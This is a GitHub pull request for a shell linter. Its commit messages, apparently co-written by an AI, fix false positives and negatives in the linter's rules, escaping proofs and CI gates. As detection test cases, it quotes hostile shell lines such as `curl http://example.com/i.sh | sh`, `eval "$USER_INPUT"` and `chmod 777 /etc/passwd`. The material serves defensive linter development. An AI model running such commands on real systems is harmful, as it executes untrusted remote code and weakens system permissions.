fix: all six open issues — the linter was pattern-matching text, not analysing shell (#220 #225 #226 #227 #228 #229 #230) - #231
Merged
Conversation
The shell-syntax rules saw a flat stream of physical lines with no notion of
where a string literal begins and ends, so they matched against the *contents*
of quoted strings. Any script containing a regex — which is most non-trivial
shell — got spurious findings, and SC1020/SC1035/SC1140 are Severity::Error, so
they failed gates rather than merely reporting:
export PATTERN="PMAT-[0-9]{4}" # SC1020: missing space before closing ]
grep "^Diff in" file.txt # SC1035: missing space after 'in' keyword
Neither is shell syntax. Resolve quoting once, up front, in linter::quoting, and
feed the syntax rules a copy of the source in which literal *text* is inert
filler of the same byte length, so spans still line up.
Deliberately narrow:
- quote characters are boundaries, not content — rules that tokenise on them
(here-strings, SC1044) must keep seeing them;
- $VAR / ${...} / $(...) / backticks stay visible: an expansion is code;
- an allowlist, not all SC1xxx — rules that are *about* quoting (SC1003,
SC1078, SC2016, SC2086 ...) must keep seeing literals or they go blind.
Measured over 290 real-world shell scripts: 1,589 findings removed, 0 added.
Refs #226
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…test, flake Four defects that each fail a release gate, found by auditing the release path rather than by any of the linter tickets. 1. RUSTSEC-2026-0258 (h2 unbounded empty DATA frames, published 2026-08-17). `ci / security` runs a bare `cargo audit` and `.cargo/audit.toml` ignores nothing, so this reds the required `gate` check. h2 0.4.13 -> 0.4.16, and fastrand 2.4.0 (yanked) -> 2.5.0 while the lock was open. cargo audit now exits 0. 2. `mdbook build` aborted on `book/book.toml`: `multilingual` was removed from mdbook, and `git-repository-icon = "fa-github"` no longer resolves (mdbook 0.5.2 dropped the bundled Font Awesome). So ./scripts/check-book-updated.sh — the release's own book gate — had been failing at Check 2, which is why the book has not been rebuilt since 2026-03-20. Both lines removed; `mdbook build` and `mdbook test` now pass. 3. `cargo test -p bashrs --lib` did not terminate. test_coverage_run_gate_all_known_names_return_named_results built a gate with `with_defaults()`, i.e. every gate ENABLED, and the tests gate shells out to `cargo test --lib -p bashrs` — which reaches this same test and spawns again, unbounded. It also shelled out to cargo clippy, cargo audit and pmat. The test's own doc-comment only claims that each name routes to a gate of that name, so the gates are now disabled and it runs in 0.01s. 4. models::diagnostic::tests_ext::test_diagnostic_display_no_file was flaky (2 of 6 full runs under CPU contention). The helper set and then cleared NO_COLOR in the PROCESS environment — its "SAFETY: only called from serial tests" comment was false, the crate has no serial_test dependency — so one thread's remove_var landed between another's set_var and its format!, and ANSI codes leaked into output asserted to be plain. Diagnostic::render(bool) takes the decision as an argument, removing the shared mutable state rather than serialising access to it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…et (GH-226) Both rules treated *any* `[` as the start of a test command and any `]` as its close, so they reported Severity::Error findings on constructs that are not tests and cannot be: if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then # array subscript if [[ "$line" =~ ^[[:space:]]*fn ]]; then # regex character class case "$mode" in [0-7][0-7][0-7]) ;; esac # glob character class M["vld1q_f32|vst1q_f32"]="neon:NEON" # associative array key SC1020 also mis-parsed `[[`: it skipped the first bracket and then treated the SECOND one as a single-bracket test, which is how it went looking for a closing `]` inside ${BASH_SOURCE[0]}. The discriminator is in POSIX: `[` is an ordinary command, so it must be its own word — preceded by a separator, followed by a blank — and so must its `]`. `[0-7]`, `arr[0]` and `[[` all fail that; `[ -f x ]` and the defective `[ -f x]` these rules exist to catch both pass it. Extracted to rules/test_bracket.rs so the two rules cannot drift apart again. Measured over 290 real-world shell scripts: SC1020 1044 -> 0 and SC1140 769 -> 0, with the true positives (`[ -f file.txt]`, `[ -f x ] extra`) still reported. Every one of those 1,813 findings was false — which is what the ticket says. Refs #226 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
… CLI's missing heredoc filter Follow-up to 70a4629 from a measured review of it. 1. EOF FAIL-SAFE. The scanner's context stack simply persisted, so a quote that never closes masked every remaining line and the syntax rules went BLIND for the rest of the file — trading a false positive for a false negative, which is the one outcome worse than the bug. If a quote is still open at EOF the mask is discarded from where that quote began. The unterminated quote itself is SC1078's finding, and SC1078 is not in the allowlist, so it is still reported. 2. DEAD ALLOWLIST ENTRIES. 11 of the 22 codes (SC1046..SC1073) name rules that have no module and are dispatched nowhere, so the list read as far broader than it was. Trimmed to the 11 real ones, and the new test pairs each entry with a compile-time reference to its rule module, so an entry naming no rule can no longer be added. A second new test asserts the property the allowlist exists for: given a line that is entirely a quoted string, no allowlisted rule may report anything. 3. GH-217's HEREDOC FILTER NEVER REACHED THE CLI. quoted_heredoc_lines was applied only in lint_shell_filtered, and the CLI calls lint_shell (cli/logic_lint.rs:91), so users kept getting shell findings inside quoted heredoc bodies — the exact class GH-217 was filed to fix. Applied on both entry points now, which is the whole point of a central filter. 4. restore_masked_messages indexed the source with lines().nth() per diagnostic, quadratic on a large file with many findings. Indexed once. Corpus, 290 real-world shell scripts, cumulative for GH-226: 27,389 findings -> 23,586. 3,803 removed, 0 added. Refs #226, #217 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
GH-229) SEC002 fired on the correctly-quoted form and stayed silent on the genuinely unquoted one, so it could not detect the defect it is named for and reported the code that already has the fix. out="$(curl -sSfL "$url" | cut -d' ' -f1)" -> 1 finding (correct code) out="$(curl -sSfL $url | cut -d' ' -f1)" -> 0 findings (the real defect) find_unquoted_variable toggled two booleans over the flat byte stream with no model of command substitution. POSIX 2.6.3 makes $( … ) a FRESH quoting context; carrying the outer one through it inverts both cases exactly. It also flagged $sh_c in `$sh_c 'docker version'` — a command DISPATCHER, which must word-split to work. Following the message ("add quotes") makes the shell look for an executable literally named `sh -c`. That is the idiom in Docker's official install script, vendored verbatim in many repos, so projects could only diverge from upstream or carry permanent error-severity findings. And `docker` there was matched from INSIDE the single-quoted argument. Two further defects found while measuring, both reachable through `--fix`: - the span was 1 character wide, so `bashrs lint --fix` spliced the literal placeholder over the `$` alone: `curl $URL` became `curl "$VAR"URL`; - columns were char-indexed while every consumer uses byte offsets, so `--fix` PANICKED on a non-ASCII line (exit 134). Replaced the boolean toggles with linter::shell_words: a panic-free byte-slice tokenizer that yields words with their role (assignment prefix, reserved word, command name, argument, redirect target) and each expansion's quoting state, recursing into $( … ) and backticks as fresh contexts. SEC002 now reports the leftmost unquoted expansion in ARGUMENT position of a dangerous command; command position is left to SC2183, which already covers it at the right severity. The fix text now quotes the expansion verbatim rather than rebuilding it from the parsed name — reconstructing would silently turn `${URL:-https://d}` into `"${URL}"` and `${#URL}` (a length) into `"${URL}"` (a value). Measured over 290 real-world shell scripts: 18 removed, 2 added. Both additions are true positives that were invisible before — an unquoted `${commit}` inside a command substitution, and an unquoted `$ECR_REPO` argument to `docker login`. Contract, registry description and book examples updated (the book's SEC002 examples used `rm` and `cd`, which are not dangerous commands, so they never fired). Closes #228, closes #229 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
DET002 fired on any line containing `$(date`, with no notion of where the value
goes. So it treated three unlike things identically — including the documented
remedy for the very problem it reports:
TIMESTAMP="$(date +%Y%m%d)"; cp build.log "out/report_$TIMESTAMP.log" correct
echo "[$(date '+%F %T')] started" | tee -a "$LOG_FILE" false positive
TIMESTAMP="$(date -u -d "@${SOURCE_DATE_EPOCH:-$(date +%s)}" +%Y%m%d)" fires on the fix
A timestamp on a log line is the point of a log line, and SOURCE_DATE_EPOCH is
the reproducible-builds project's specified mechanism — a script adopting it is
MORE deterministic, yet the finding did not change. There was no edit that
cleared the rule, so the only routes to a green gate were suppression or
deletion.
linter::timestamp_flow now tracks where a `date` value flows and classifies the
sink: Reproducible (an artifact name or contents, a hash, a build id, a
truncating redirect), Benign (stdout/stderr, an append-only log via >>, tee -a
or logger, a comparison, arithmetic), or Unknown. Only non-Benign is reported,
any read of SOURCE_DATE_EPOCH clears the rule and untaints what it feeds, and
the diagnostic now names the sink line instead of saying "requires manual fix"
while naming no fix that works.
Two adjacent defects fixed with it:
- linter::output rendered only `fix.replacement`, so every UNSAFE fix printed a
bare `Fix:` and its suggestions were dead text. Also affected DET001, IDEM003
and SC2008-SC2014.
- `bashrs explain DET002` recommended `${BUILD_TIME:-$(date +%s)}`, which DET002
then flagged. The remedy text is now itself DET002-clean, pinned by a test.
Intentional-marker matching is now restricted to comments: any line merely
containing the word "telemetry" — a URL, say — used to silence the rule for the
following block.
One existing assertion changed: `if [ $(date +%s) -gt 1000 ]` no longer fires. A
compared timestamp never reaches an artifact, so that assertion encoded the bug;
the genuine concern (time-dependent control flow) wants its own rule and is
filed as a follow-up rather than left mislabelled as a reproducibility defect.
Measured over 290 real-world shell scripts: 34 removed, 0 added.
Closes #230
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…name (GH-227) SEC010 fired whenever a line contained a `$` and any of a dozen generic substrings (DIR, FILE, PATH, NAME, ARG, …) appeared anywhere on it. So `OUT_DIR="build/results"; mkdir -p "$OUT_DIR"` — a path built entirely from literals, with no external input in the file at all — was reported as an error, with no dataflow of any kind behind the claim. Worse, the rule could not be satisfied by fixing the code and could be satisfied by adding a no-op. A real inline guard did not clear it: case "$1" in ""|*..*|/*) echo bad >&2; exit 2 ;; esac -> still 2 findings while a function whose entire body is `:` did: validate_path() { :; }; validate_path "$OUT_DIR" -> 0 findings The name was the whole test. That rewards security theatre and penalises the validation the message asks for. Three defects fixed together, via a new linter::taint pass: - a finding now requires the path to be reachable from input outside the script ($1/$@, read, $OPTARG, network command substitution; literal assignments propagate as clean; realpath/readlink -f sanitise); - a real DOMINATING guard clears it — the `case` form, `if`/`elif`, and inline `[[ … ]] && exit` — while a guard that only prints, guards a different variable, or comes after the use does nothing; - a function counts as a validator only if its BODY tests for traversal and aborts. Severity is now graded by provenance: proven external input reaching an unguarded path stays Error and gates; a variable the file never assigns is a guess about the environment and reports as Warning, so it cannot break a build. Both rules also stop linting quoted heredoc bodies, which are data. sec010_logic.rs is deleted — a dead second copy of the exact heuristics being fixed, imported by nothing. Leaving it is how this comes back. `bashrs explain SEC010` described dot-sourcing external files, which is a different rule; replaced with path-traversal text. Measured over 290 real-world shell scripts: SEC010 1,113 errors -> 36 errors and 150 warnings; SEC014 852 -> 83. Every added finding is a Warning on a variable the script reads from the environment (`PROFILE_NAME="${PROFILE_NAME:-…}"`), which is genuinely externally influenceable. Known limitations are documented in linter/taint.rs: one file, one ordered pass, no fixpoint. Cross-file, loop back-edges, eval and call-site resolution are out of scope — each a deliberate false negative rather than a false positive. Closes #227 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ge (GH-225, GH-220) Every harness called an escaper returning a heap String, so alloc::raw_vec / Layout / handle_alloc_error was reachable from every proof and CBMC spent its budget modelling Rust's allocator rather than the escaping logic. Input length was never the bottleneck — bounds of 2, 4 and 8 all timed out at 600-1200s. emitter::escape now has an allocation-free core writing into a caller-provided &mut [u8] (escape_bytes_len/into, escape_shell_len/into, is_safe_unquoted_bytes, escape_variable_bytes_into, is_valid_shell_identifier_bytes — all additive). escape_shell_string and escape_variable_name are thin wrappers over it, and kani_bounded::any_bounded_bytes removes the last allocation, the one inside the generator itself. Measured with kani 0.67.0 at input bound N=4 over an unconstrained byte alphabet, re-run independently after applying: verify_escape_safety SUCCESSFUL 15.5s 0 of 294 checks failed verify_escape_roundtrip SUCCESSFUL 19.0s verify_escape_buffer_contract SUCCESSFUL 5.1s verify_variable_expansion_safety SUCCESSFUL 0.4s verify_injection_safety SUCCESSFUL 18.2s Every unwinding assertion SUCCESS, so none of these is an under-approximation — a harness that passes because it was under-bounded proves nothing. Making them converge exposed two FALSE properties, which is the part worth reading. verify_escape_safety Property 1 asserted the result is always single-quoted; it is not, because safe words pass through verbatim — 3906 of the 3907 inputs its own generator produced refute it. And contains_unescaped_metachar tracked ' and \ but not ", so after the '"'"' requote idiom it believed it was outside quotes and called CORRECT output unsafe; its ASCII-alphanumeric alphabet could never produce a quote, so the harness had never reached the requote branch at all. Both are corrected and pinned by ordinary tests so they cannot come back with a proof attached. *** Escaping behaviour is unchanged. *** This is the shell-injection boundary, so the ticket's guard rails were followed in order: the core landed alongside the existing implementation, was differentially tested against it, and only then was delegated to. A frozen copy of the pre-#225 escaper lives in emitter::escape_differential_tests and is diffed against the live one on every cargo test across ~345,000 inputs — exhaustive ASCII pairs, an exhaustive 3-symbol adversarial alphabet, deterministic Unicode fuzz, proptest — plus a real /bin/sh round-trip. Independently verified here: `bashrs purify` output over 290 real-world scripts is byte-identical before and after. Contracts now state only true things: encoder-roundtrip-v1 claimed escape(escape(s)) == escape(s), which is false (escape("") == "''"), restated as the round-trip that is actually proved; property-invariants-v1's unfalsifiable length-ordering claim is replaced by the provable bound escape_bytes_len(b) <= 5 * b.len() + 2; obligations naming non-existent harnesses are relabelled, one discharged and one explicitly UNDISCHARGED. Closes #225, closes #220 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Version 6.66.3 -> 6.67.0 (MINOR: linter output changes, and the escape core adds public API additively). - workspace version, and the three stale inter-crate requirements that had drifted (root 6.66.1, bashrs-wasm 6.65.0, rash-mcp 6.42) - Cargo.lock - CHANGELOG entry for the six tickets, the release-engineering fixes, and the new analysis modules - book: the eight hard-coded versions that had gone stale, plus a new section in linting/false-positives.md documenting what the linter now refuses to guess — string literals, POSIX `[` word rules, command position, path taint, and timestamp sinks — with the clean and still-reported examples for each Refs #225, #226, #227, #228, #229, #230 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…corpus runner
`ci / lint` runs `cargo deny check advisories`, which — unlike `cargo audit` —
denies `informational = "unsound"`. Two such advisories applied:
RUSTSEC-2026-0190 (`anyhow::Error::downcast_mut` undefined behaviour) and
RUSTSEC-2026-0097 (`rand::rng` unsoundness with a custom logger). Both have
patched releases, so they are upgraded rather than added to deny.toml's ignore
list: anyhow 1.0.102 -> 1.0.104, rand 0.9.2 -> 0.9.5 and 0.8.5 -> 0.8.7.
Not introduced here — main fails the same way today; the CI image's cargo-deny
now denies by default what the locally installed 0.19.0 still allows.
Separately, `test_CORPUS_RUN_062_behavioral_makefile_delegates` failed
intermittently under load, and it was not mere contention.
`check_makefile_dry_run` named its temporary Makefile after the process id and
nothing else:
tmp_dir.join(format!("bashrs_makefile_check_{}", std::process::id()))
The test harness runs these concurrently within ONE process, so every call shared
a single path: one thread overwrote another's Makefile, or removed it between the
write and the `make` invocation. The name now carries a per-call sequence number.
Three consecutive full workspace runs: 14,826 passed, 0 failed.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…d four scanner defects An adversarial pass over this branch found that some of these fixes had traded a false positive for a false negative, which is the one outcome worse than the bug. All seven are fixed and pinned by tests. 1. WORST: a heredoc marker inside a COMMENT or a string opened a body that never closed, and once the GH-217 filter reached the CLI that dropped every diagnostic for the rest of the file. This lints CLEAN on the branch as it stood, exit 0: # Tip: embed python with <<'PY' ... PY eval "$USER_INPUT" curl http://example.com/i.sh | sh chmod 777 /etc/passwd heredoc::quoted_heredoc_lines scanned raw bytes for `<<` with no notion of comments or quoting. It now delegates to linter::quoting, which resolves quoting first — one scanner instead of two that disagree — and carries a fail-safe so an UNTERMINATED heredoc does not silence the file either. 2. Even with correct detection, dropping ALL rules inside a quoted heredoc is wrong: a quoted heredoc is very often a script being sent somewhere to run. `ssh "$HOST" <<'REMOTE'` containing eval and curl-pipe-to-shell reported 0 errors. SEC* and DET* are now exempt, exactly as the sibling embedded-program filter in the same function already exempts them. 3. `(( a << b ))` — the bare arithmetic COMMAND, as opposed to `$(( ))` — left the context stack empty, so `<<` looked like a heredoc opener and masked everything after it. It now enters arithmetic context. 4. `$'don\'t'` (ANSI-C quoting) was read as a bare `$` plus an ordinary quote, so the escaped apostrophe flipped quote parity for the rest of the file — in both directions, both losing real findings and bringing GH-226's false positives back. `$'…'` and `$"…"` are now their own contexts. 5. mask_line called is_literal per byte, a linear scan of that line's range list each time. A 400 KB single-line script took 15s. It now walks the sorted ranges with a cursor. 6. Requiring a blank after `[` excluded `[-z "$1"]` and `[$x = y]` — the two most common novice test bugs, previously caught at Error severity. A bracket is now a test when it begins a word IN COMMAND POSITION and encloses a blank, which still excludes `case` globs, array subscripts and `[[`. A regex group's `(` no longer counts as a command separator, or `^(a|[0-9]+)$` would look like one. `[[ -f x]]` — a real bash syntax error — is reported again too. 7. GH-226 acceptance criterion 4 was NOT met: the hook `pmat hooks install` generates still reported an error. SC1007 fired on `skip = 0` inside a single-quoted awk program and SC1100 on an em-dash inside a human-readable message; both are now allowlisted. Measured with pmat 3.32.0: pre-commit 10 errors -> 0, pre-push 1 error -> 0. Corpus, 290 real-world scripts: 21,829 -> 21,780 findings. The 46 additions are all SEC*/DET* findings restored inside quoted heredocs; SC1007 (67) and SC1100 (33) false positives removed. Every true positive re-verified. Refs #226, #217 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
… review
Three more cases where a fix had gone too far and the linter fell silent on a
real defect.
1. DET002 was blinded by a one-line condition. `is_test_context` classified the
ENTIRE physical line as benign whenever the timestamp appeared in an
if/while/until condition, so the artifact-producing command in the same
line's body was never looked at:
TS=$(date +%s)
if [ -n "$TS" ]; then cp build.tar "out/build-$TS.tar"; fi # silent
The multi-line form fired, and changing the condition so it did not mention
TS made it fire — it was purely the shortcut. The line is now split into
commands at top-level semicolons and the sink class is the MAXIMUM over the
parts, so a condition speaks only for itself.
2. DET002 tested the redirect OPERATOR rather than the destination, so an
append was benign wherever it pointed:
echo "$TS" >> dist/checksums.txt # silent
echo "$TS" > dist/checksums.txt # reported
A one-character edit defeated the rule, and it looks like cleanup in review.
An append is benign only when the destination supports the claim being made
— a log, a journal, /dev/* — which keeps `>> "$LOG_FILE"` and
`| tee -a "$LOG_FILE"` quiet. Corpus: 4 findings restored, among them a
*reproducibility manifest* being stamped with the wall clock.
3. SEC002 lost `eval`, `find -exec` and `sh -c`. `eval curl $URL` — the
canonical shell injection — was no longer reported, and `sh -c 'curl '$URL`
had no error-severity signal left at all. `eval` joins the wrapper list
(which also makes shell_words and timestamp_flow agree on what a command
prefix is); `find … -exec CMD …` restarts the command, gated on the host
actually being find; and `sh -c '…'$VAR` is modelled as the command it
really runs, staying silent for the two shapes that must stay clean —
an operand with no unquoted expansion, and one with no literal prefix
(which is the GH-229 dispatcher rule).
Every ticket acceptance criterion re-verified unchanged: #228 quoted 0 /
unquoted 1, #229 dispatcher 0, #230 a/b/c 1/0/0.
Refs #228, #229, #230
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…H-227) The adversarial review found that #227's fix had re-created #227's own defect one level down. Its headline was "a control any rename defeats is not a control"; these were controls that any MENTION defeats. 1. `line_hard_fails` substring-matched "exit"/"abort"/"die"/"continue", so an English sentence in a log message counted as a rejection and untainted the variable for the rest of the file: if [[ "$P" == *..* ]]; then echo "WARNING: $P contains '..' (set STRICT=1 to exit on this)" >&2 fi cat "/data/$P" # silent Changing "exit" to "stop" in that message changed the verdict, and a comment reading `# TODO: should we exit here?` worked too. A hard failure is now a COMMAND — quoting resolved, comments dropped, `exit 0` excluded, `return` requiring an explicit non-zero argument. 2. The guard check was `body.any(guards_traversal) && body.any(hard_fails)` — two INDEPENDENT scans of the same block, so the traversal pattern and the abort did not have to be in the same branch. A stock dispatcher cleared taint on its subject for the whole file: case "$CMD" in install) shift ;; */*) echo "path form" ;; *) echo "unknown"; exit 1 ;; esac `*/*)` is an ordinary sub-command arm and `exit 1` in the catch-all is near-universal. Blocks are now split into arms (at `;;`) and branches (an `else`/`elif` ends the `then` branch), so the pattern and the abort must be in the same one. 3. `body_is_path_validator` had the identical flaw, so a function that WARNS on traversal and EXITS on something unrelated was accepted as a validator — the realistic shape of a permissive validator, and exactly what #227 was filed about. It now asks whether the body contains a real paired guard. 4. Assignments overwrote unconditionally, so "argument if given, otherwise a default" lost its taint entirely and swapping the branches changed the answer: if [ -n "$1" ]; then P="$1"; else P=/default; fi Ordering-dependent silence is the worst kind — reformatting a script would change whether it is scanned. A conditional assignment now merges (max) with the prior taint, bounded to the same construct so an unrelated earlier value cannot leak in, and only when the file assigned the variable before, so a first conditional assignment of a literal stays clean and #227's false positives do not return. KNOWN LIMITATIONS in taint.rs gained the two entries it was missing: the multi-line command substitution, and that the merge is a maximum rather than a per-branch join. #227's four-script matrix is unchanged: literal 0, tainted 2, hardened 0, no-op-validator 2. Corpus: one finding added, on `here=$(git rev-parse …) || here=$(pwd)` — the merge correctly stops the textually-last fallback from erasing the substitution's taint. Refs #227 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…adversarial round - GH-230 had no user-facing entry at all, only an incidental mention under the new-modules list — while GH-226/227/228/229 each got a paragraph. DET002's change is the one most likely to surprise a user (a rule that used to fire on their build script now does not), and the changelog gave them nothing to search for. Added, including the deliberate behaviour change for a compared timestamp. - Two corpus figures had drifted from the snapshots (SEC010 "1,105 of 5,045 ... now 36" was 1,113 of 5,069, now 37; SEC014 "852 to 80" was 857 to 83), which undercuts "every removal below was measured". Corrected, along with the headline totals now that the adversarial round has landed: 27,389 -> 21,785 findings and 5,069 -> 1,694 errors. - Added a Verification section recording that the release was reviewed adversarially and what that found — including the two regressions that shipped in the branch under review. A release that removes 5,600 findings should say how it checked it had not removed the wrong ones. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #220, closes #225, closes #226, closes #227, closes #228, closes #229, closes #230.
All six open issues, plus the four gate failures that would have blocked the release regardless.
Why they are one PR
Five of the six are the same defect wearing different rule numbers: a rule pattern-matched text and reported as if it had analysed shell. They were reported separately because they surface separately, but fixing them one at a time would have meant five private half-parsers. Instead each fix installs one shared analysis and deletes the heuristic it replaces.
linter::quotinglinter::shell_wordslinter::taintlinter::timestamp_flowdatevalue end up?linter::rules::posix_bracket[actually the test command?Measured effect
290 real-world shell scripts from this repo and five sibling repos, linted before and after:
Severity::Error(the ones that gate CI)Per rule: SC1020 1044→0, SC1140 769→0, SC1007 179→1, SC1100 34→1, SEC010 1141→187 (1,113 errors → 37), SEC014 857→83, SC1035 71→7, SEC002 70→20, DET002 463→420.
SC1020 and SC1140 reaching zero across 290 working scripts is the expected result, not a bug: both report hard syntax errors that would break a script, so every one of those 1,813 findings was false.
Two findings were added, both genuine defects that were invisible before: an unquoted
${commit}inside a command substitution, and an unquoted$ECR_REPOargument todocker login. Every other addition is awarningon a variable the script reads from the environment (PROFILE_NAME="${PROFILE_NAME:-…}"), which really is externally influenceable.The two that were inverted
Worth calling out, because these were worse than noise:
validate_pathwhose body was:. It rewarded security theatre and penalised real inline validation.#225 / #220 — the escapers
escape_shell_stringreturns a heapString, so every Kani harness draggedalloc::raw_vecinto the SMT problem and CBMC spent its budget proving the allocator. Bounds of 8, 4 and 2 all timed out. There is now an allocation-free core and the harnesses target it:kani 0.67.0, bound N=4 over an unconstrained byte alphabet, every unwinding assertion SUCCESS — so none of these is an under-approximation.
Making them converge exposed two false properties.
verify_escape_safetyProperty 1 asserted the result is always single-quoted; it is not, and 3906 of the 3907 inputs its own generator produced refute it. And the metacharacter oracle tracked'and\but not", so after the'"'"'requote idiom it called correct output unsafe — and its ASCII-alphanumeric alphabet could never produce a quote, so it had never reached that branch at all. Both are corrected and pinned by ordinary tests so they cannot return with a proof attached.This is the shell-injection boundary, so the ticket's guard rails were followed in order: the core landed alongside the old implementation, was differentially tested against it across ~345,000 inputs (exhaustive ASCII pairs, an exhaustive 3-symbol adversarial alphabet, Unicode fuzz, proptest, plus a real
/bin/shround-trip), and only then delegated to.bashrs purifyoutput over the 290-script corpus is byte-identical before and after.Release gates (none of these is a linter change)
Found by auditing the release path. Three were already red on
main:ci / securityruns a barecargo audit, so this reddened the required check. h2 0.4.13→0.4.16, fastrand 2.4.0 (yanked)→2.5.0.mdbook buildaborted onbook.toml, so the release's own book gate had been failing — which is why the book had not been rebuilt since March.cargo test -p bashrs --libdid not terminate. One test built a quality gate with every gate enabled; the tests gate shells out tocargo test --lib -p bashrs, reaches that same test, and spawns again, unbounded.NO_COLORin the process environment, racing every other test that formatted a diagnostic.It was reviewed adversarially, and that was not a formality
Every fix here removes findings, so the branch was handed to reviewers whose brief was to find a false negative — the linter going silent on a real defect, which is strictly worse than the false positives being removed. They found seven. All are fixed in this PR and pinned by tests; two are worth reading:
The heredoc filter had gone blind. A heredoc marker inside a comment opened a body that never closed, and once the GH-217 filter reached the CLI that dropped every diagnostic for the rest of the file:
→
✓ No issues found, exit 0.heredoc::quoted_heredoc_linesnow delegates tolinter::quoting, which resolves quoting first. Separately, dropping all rules inside a quoted heredoc was itself wrong — a quoted heredoc is very often a script being sent somewhere to run (ssh "$HOST" <<'REMOTE'), so SEC* and DET* are now exempt, as the sibling embedded-program filter already does.#227's new controls were defeatable by a mention. Its headline was "a control any rename defeats is not a control". The replacement matched the substring
exit, so this cleared taint for the rest of the file:Changing "exit" to "stop" changed the verdict. And the guard check ran two independent scans of a block, so a
casedispatcher whose*/*)arm merely echoed while its*)arm exited counted as a guard. Both closed: a hard failure must be a command, and the pattern and the abort must be in the same arm.The other five: bare
(( a << b ))parsed as a heredoc opener;$'don\'t'inverted the quote mask; masking was quadratic on a long single line (15s on a 400 KB script);[-z "$1"]and[[ -f x]]lost coverage; SEC002 losteval,find -execandsh -c.#226's fourth acceptance criterion is now met.
bashrs linton the hookspmat hooks installgenerates: pre-commit 10 errors → 0, pre-push 1 error → 0 (pmat 3.32.0).Verification
cargo test --workspace --lib— 14,943 passed, 0 failed (14,881 inbashrs)cargo fmt --all -- --check,cargo clippy --all-targets -- -D warnings -A unused-variables,cargo clippy -p bashrs --lib -- -D warnings— cleancargo auditandcargo deny check advisories— cleancargo package -p bashrs --locked— packages cleanly at 6.67.0./scripts/check-book-updated.sh— all four checks greenKnown limitations, stated rather than hidden
linter::taintis one file, one ordered pass, no fixpoint. Cross-file analysis, loop back-edges,evaland call-site resolution are out of scope — each is a deliberate false negative rather than a false positive, and each is documented in the module.DET002 no longer fires on a compared timestamp (
if [ $(date +%s) -gt 1000 ]). That assertion encoded the bug — a compared timestamp never reaches an artifact — but the underlying concern, time-dependent control flow, deserves its own rule rather than being mislabelled as a reproducibility defect. Filed as a follow-up.🤖 Generated with Claude Code